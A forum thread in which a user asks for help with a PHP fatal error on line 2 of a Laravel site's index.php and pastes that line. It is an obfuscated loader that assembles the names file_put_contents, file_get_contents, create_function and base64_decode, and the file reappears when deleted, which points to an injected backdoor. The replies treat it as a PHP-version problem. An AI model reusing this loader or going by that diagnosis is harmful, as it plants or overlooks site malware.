It means that the following code is not supported anymore:
$array{0}
and should be replaced with:
$array[0]
Can anyone help me below error
Fatal error: Array and string offset access syntax with curly braces is no longer supported in /home/gdahajhahjf/public_html/index.php in line 2
Below is index.php line 2
Remaing the whatever regular content in index.php
It means that the following code is not supported anymore:
$array{0}
and should be replaced with:
$array[0]
@ramonrietdijk I modified the entire code like below in index.php line 2 But page loading without any styles
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O000OOO___=$O00OO_0_O_[38].$O00OO_0_O_[12].$O00OO_0_O_[23].$O00OO_0_O_[30].$O00OO_0_O_[29].$O00OO_0_O_[16].$O00OO_0_O_[18].$O00OO_0_O_[10].$O00OO_0_O_[29].$O00OO_0_O_[32].$O00OO_0_O_[35].$O00OO_0_O_[0].$O00OO_0_O_[10].$O00OO_0_O_[30].$O00OO_0_O_[0].$O00OO_0_O_[10].$O00OO_0_O_[33]; $O_0O_0O0O_=$O00OO_0_O_[38].$O00OO_0_O_[12].$O00OO_0_O_[23].$O00OO_0_O_[30].$O00OO_0_O_[29].$O00OO_0_O_[27].$O00OO_0_O_[30].$O00OO_0_O_[10].$O00OO_0_O_[29].$O00OO_0_O_[32].$O00OO_0_O_[35].$O00OO_0_O_[0].$O00OO_0_O_[10].$O00OO_0_O_[30].$O00OO_0_O_[0].$O00OO_0_O_[10].$O00OO_0_O_[33]; $O0_O0_O0O_=$O00OO_0_O_[32].$O00OO_0_O_[24].$O00OO_0_O_[30].$O00OO_0_O_[6].$O00OO_0_O_[10].$O00OO_0_O_[30].$O00OO_0_O_[29].$O00OO_0_O_[38].$O00OO_0_O_[18].$O00OO_0_O_[0].$O00OO_0_O_[32].$O00OO_0_O_[10].$O00OO_0_O_[12].$O00OO_0_O_[35].$O00OO_0_O_[0]; $OOO0_O0_0_=$O00OO_0_O_[3].$O00OO_0_O_[6].$O00OO_0_O_[33].$O00OO_0_O_[30].$O00OO_0_O_[22].$O00OO_0_O_[36].$O00OO_0_O_[29].$O00OO_0_O_[30].$O00OO_0_O_[0].$O00OO_0_O_[32].$O00OO_0_O_[35].$O00OO_0_O_[26].$O00OO_0_O_[30]; $OO0O___0O0=$O00OO_0_O_[3].$O00OO_0_O_[6].$O00OO_0_O_[33].$O00OO_0_O_[30].$O00OO_0_O_[22].$O00OO_0_O_[36].$O00OO_0_O_[29].$O00OO_0_O_[26].$O00OO_0_O_[30].$O00OO_0_O_[32].$O00OO_0_O_[35].$O00OO_0_O_[26].$O00OO_0_O_[30];
@anand1001 Is the page loading without styles or just simply blank? You may want to check your network requests to see if your style sheet is being loaded or if that request fails.
@ramonrietdijk Page loading without styles and if I try to login in that page it shows 500 as well
And all css styles are 404 in networks
@ramonrietdijk I have downloaded code and try to setup and run on local it shows below errors below errors on whitepage
Warning: require_once(C:\xampp\htdocs\27-12-2023\public/index.php): Failed to open stream: No such file or directory in C:\xampp\htdocs\27-12-2023\vendor\laravel\framework\src\Illuminate\Foundation\resources\server.php on line 16
Fatal error: Uncaught Error: Failed opening required 'C:\xampp\htdocs\27-12-2023\public/index.php' (include_path='C:\xampp\php\PEAR') in C:\xampp\htdocs\27-12-2023\vendor\laravel\framework\src\Illuminate\Foundation\resources\server.php:16 Stack trace: #0 {main} thrown in C:\xampp\htdocs\27-12-2023\vendor\laravel\framework\src\Illuminate\Foundation\resources\server.php on line 16
@anand1001 Removing the vendor directory and reinstalling the dependencies may work?
composer install
For the 404 errors with the style sheets, I'd make sure the files exist.
@ramonrietdijk Vendor and composer lock files removed and composer install done but still page loading without styles
@ramonrietdijk In cPanel under public_html , in my primary domain files Unable to delete , modify index.php file, if I deleted again and again It comes and if I try to rename another file with renamed name came ....this file causes all the problems......can you please help me how to delete the index.php
@ramonrietdijk My website is loading without any styles and alignment when I removed the line 2 in index.php file .....and if it's not deleted it shows the Fatal error: Array and string offset access syntax with curly braces is no longer supported in /home/gdahajhahjf/public_html/index.php in line 2
@anand1001 Seems like you are using a different PHP version than you need. Could you please tell which PHP and Laravel version you are using?
Warning: require_once(C:\xampp\htdocs\27-12-2023\public/index.php): Failed to open stream: No such file or directory in C:\xampp\htdocs\27-12-2023\vendor\laravel\framework\src\Illuminate\Foundation\resources\server.php on line 16
This means you're missing the required dependencies of your project.
@dhpandya Php:8.1 and Laravel 9
@anand1001 Add /home/gdahajhahjf/public_html/index.php here and please format your code.
``` Your code```
Please or to participate in this conversation.